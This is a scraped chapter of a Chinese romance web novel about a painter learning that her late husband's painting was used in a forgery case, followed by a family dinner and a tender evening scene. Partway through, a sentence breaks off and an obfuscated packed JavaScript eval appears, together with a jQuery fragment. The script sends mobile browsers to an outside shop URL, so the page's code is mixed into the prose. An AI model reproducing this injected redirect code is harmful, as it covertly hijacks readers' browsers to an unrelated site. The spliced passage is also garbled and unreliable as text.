文趣网 > 都市小说 > 玻璃娃娃 > 48. 承檐
    “叩叩”

    陈靳白推门进来,身后还跟着一个人。

    井星灿站在门口,天蓝色的执勤服上沾了几点细密的雨珠,格外显眼。

    “老师。”他朝沈曼语微微欠身。

    “星灿?”沈曼语搁下笔,“今天这是怎么了?一个两个都往我这边跑。”

    “进来坐。”她说。

    看井星灿稍顿了一下,沈曼语了然。

    “惜惜,你和靳白去帮我去看看院子里的金弹子,天冷了,不知道它能不能适应。”

    俞惜没动,最后还是陈靳白应了一声,拉着她往外走。

    金弹子种在院子的东南角,几颗橙红色的果子挂在枝头,在初冬的细雨里依旧鲜艳。

    俞惜在树前蹲下来,伸手托住一颗低垂的果子。

    “净禅寺也有一棵,挂果期特别长,能从秋天一直挂到第二年春天。”

    她松开手,果子轻轻弹回去在细枝上晃了两下,又稳稳地停住。

    “师傅应该是有话要和师兄说,才让我们出来的。”陈靳白把伞又往她那边偏了偏,“可能是案子的事,涉及案情,总会有些不方便的地方。”

    “我知道。”俞惜站起来,手指从枝叶间收回,“只是这两天莫名有些心慌。”

    陈靳白伸手把她往自己身边带了带,避开伞沿滑落的的水珠。

    “没事的,不要多想。”陈靳白安抚道,“嗯?”

    俞惜点了点头,目光还是忍不住往画室的方向飘。窗格里的灯稳稳亮着,没有任何异样。

    她收回视线,重新蹲下来,一片一片地捡起了树根旁的落叶。

    画室里,沈曼语在窗边的藤椅上坐下来,指了指对面的矮凳。

    “说吧。”她说,“什么事让你下雨天还往我这儿跑?”

    井星灿从公文包里取出档案袋递到沈曼语面前。目光触及到窗外几不可察的顿了一下——隔着雨幕,两人蹲在树下看不真切,但肩膀挨得很近。

    “老师,”他说,“我们在明寂旧案的后续排查中,发现了一件东西,可能和边老师有关。”

    窗外的雨密密匝匝的敲在瓦檐上,画室里弥漫着墨香和雨水侵入泥土后泛起的潮意。

    沈曼语的目光落在档案袋上,过了好一会儿她伸手接过档案袋,手指在封口的棉线上停了一瞬,然后才拆开。

    里面是一叠照片,从全景到局部细节。画面左下角钤着一方闲章,朱红色的印痕依旧清晰可辨——

    听语。

    沈曼语定定看了很久。久到窗外的的雨从密转疏,檐下的水柱断了又续、续了又断。

    “这幅画,”沈曼语声音都有些抖,“是他画的。”

    沈曼语把照片一张一张排在膝上,隔着照片细细摩挲着。

    “他离开前说,要给同事送幅画当乔迁贺礼。这幅画还是我裱的呢。”

    井星灿往前倾了倾身,目光落在那些照片上。这些资料他反复翻了不知道多少遍,每一个细节都烂熟于心,但此刻面对沈曼语却不知道如何开口。

    “老师,”他说,“这幅画目前是案件的证据之一。”

    沈曼语抬起头。

    “这幅画的裱画绢帛,经过技术鉴定,与之前那副涉案山水画的原版绢帛是同一批。”井星灿您从档案袋里抽出鉴定报告,翻到标签页推到沈曼语面前,“有人在拿到这幅画后,将两幅画调换了。”

    沈曼语的手指在照片边缘停住。她没有看那份鉴定报告,目光还落在那方朱红印上。

    “原有的装裱,”她说,“是我亲手裱的。按年岁推算,应该也是青山的第一批纸。”

    “那时候明寂还没有来。”

    “只能说这幅画和他无关。”井星灿说,“我们在他的作坊里找到了一些残片,他用您的旧绢做母本,仿制了一批。目前还不能完全确定他和背后的人有什么关系。”

    沈曼语点了点头,她将照片一张一张拢好。

    “这幅画,”她忽然开口,“案子结束之后,可以给我吗?”

    “需要您确认一下边老师的画迹。”井星灿说,“按照程序,如果能确认这幅画是边老师的遗作,且没有涉及任何违法行为,案件结束后可以申请返还。”

    雨不知道什么时候停了。

    俞惜弯腰把最后一团湿漉漉的落叶扔进竹筐,裤脚已经被雨水濡湿了一圈。

    陈靳白站在她旁边,伞已经收了,肩头落了几点细细的水珠。画室的门被推开,井星灿从里面走出来。

    俞惜直起腰,目光在他手里的档案袋上停了一瞬。

    “要走了?”

    “嗯,不是什么大事,只是找老师帮忙确认一下画迹。”

    知道她心里记挂,井星灿笑得格外温和。

    俞惜点了点头,没有追问。

    井星灿朝陈靳白微微颔首算是告别,背影渐行渐远,最后消失在视线中。

    画室的门还开着,俞惜洗过手往画室走。陈靳白没有跟进去,在院子里的石凳上坐下来。

    画案上铺着的画,墨迹已经干透。

    “怎么能丢下我,又弄丢我的东西呢?”沈曼语站在画案前喃喃出声。

    “师傅。”

    沈曼语抬头,眼眶带着一点红。

    “外公刚刚来电话说,今天收获不错,一会儿回来做鱼吃。”俞惜走过去,像小时候一样自然地挽住沈曼语,“我们出去等吧。画室里墨气太重了,出去透透气。”

    俞惜扶着沈曼语到外面的藤椅坐下,又进屋拿了条羊毛披肩搭在她肩上。三个人坐在院子里饮着热茶,陈靳白找了个话题有意的安抚沈曼语的情绪。

    过了一会儿,沈老爷子推开院门,手里拎着钓鱼桶。看着院子里坐着人,老爷子先是一愣,然后笑开来。

    “小语怎么也出来了?平时不是总窝在画室里的嘛。”他把手里的东西递给王妈,“正好,今天钓了不少,都让王妈收拾干净。小惜想吃红烧还是清炖?”

    俞惜思考了一会儿说:“清炖吧。”

    “不是这么多条呢吗?一条炖汤、一条清蒸,”沈曼语故意顿了一下,“再红烧一条?”

    “好。”王妈在一旁笑着应声,“老爷子口重,想吃红烧的又不说。清炖的好,汤鲜。清蒸的也鲜,红烧的更香。今天鱼多,都做。”

    沈老爷子背着手站在院子里,装作没听见王妈的前半句话,自顾自地安排起剩下几条鱼

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17566104|202727||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的去向:“这两条给你妈送回去,正好铭宇也在家。还有一条你带回去,让靳白给你做。”

    陈靳白闻言点头,笑着应了声好。

    吃完饭又待了会儿,离开沈宅的时候雨又落了下来,细细密密的雨丝斜织着。

    雨刷有节奏地摆着,俞惜看着就泛起了困。

    “困了?”陈靳白侧过头看她。

    俞惜含糊地应了一声,眼皮已经沉得抬不起来了。

    到家的时候雨已经小了,细得像雾,飘在路灯下泛着银灰色的光晕。

    俞惜还没醒。

    陈靳白把车停进地库,解开安全带,侧过身看着她。

    过了好一会儿,她才动了一下,睫毛颤了颤,睁开眼。目光涣散地落在他的下巴上,过了几秒才聚焦。

    “到家了?”她问,声音含混。

    “嗯。”陈靳白替她解开安全带,顺势在她额上落下一吻,“我抱你回去?”

    俞惜揉了揉眼睛,朝他展开双臂。陈靳白笑了一下,绕到副驾驶那边拉开车门。

    夜风灌进来,俞惜缩了缩脖子,还没反应过来,已经被他连人带毯子从座椅上捞了起来。

    “搂紧。”他说。

    俞惜环住他的脖颈,脸埋进他肩窝里,含混地嘟囔了一句什么。毯子一角从膝盖上滑下去,被陈靳白眼疾手快地捞住,重新裹好。

    “那条鱼别忘了。”她闷闷地说。

    “知道啦。”

    陈靳白腾出一只手去拎后备箱里的保温袋,又稳稳地把她往上托了托。

    进屋后陈靳白把她放在沙发上,转身去开暖气。俞惜从毯子里探出头,头发蹭得乱蓬蓬的,几缕碎发粘在脸颊上。她眯着眼看他蹲在玄关把她的靴子摆正,和往常一样跟他的鞋并排放在一起。

    “不困了?”他问。

    俞惜摇摇头,把毯子往旁边挪了挪,给他腾出位置。

    陈靳白在她旁边坐下,沙发陷下去一点。

    窗外的雨不知道什么时候停了,只有空调出风口发出细微的嗡嗡声,把暖风一阵一阵地送过来。

    俞惜靠在他肩上,手指无意识地捻着他袖口的贝母扣。

    “你看到画室的那副画了吗?”她说,“师傅说送给我们当新婚礼物。”

    “我以前觉得,”俞惜开口,声音很轻,“师傅不愿意提姨父,是因为想起来会难过。今天才发现,她不是不愿意提,是没有多少人能让她提起。”

    陈靳白低下头,下巴轻轻抵着她的发顶。

    “外婆说,只要长大了就好了。”她继续说,“可是我已经长这么大了,为什么还是没办法释怀?”

    她把脸往他肩窝埋了埋,声音闷闷的:“我有时候觉得,外婆走的时候带走了我的一部分。现在我又觉得,她其实是留下了一部分。我没有办法解释,大概长大了就是这样,一边念着旧,一边往前走,不能真的放下,也不会真的孤单。”

    陈靳白把她的手翻过来,掌心朝上,低头在她掌心里轻轻吻了一下。

    “那就别放下。”他说,“带着她往前走。”

    俞惜陷进他眼底的漩涡里。

    “你最近总是皱眉,是不是遇到什么事了?”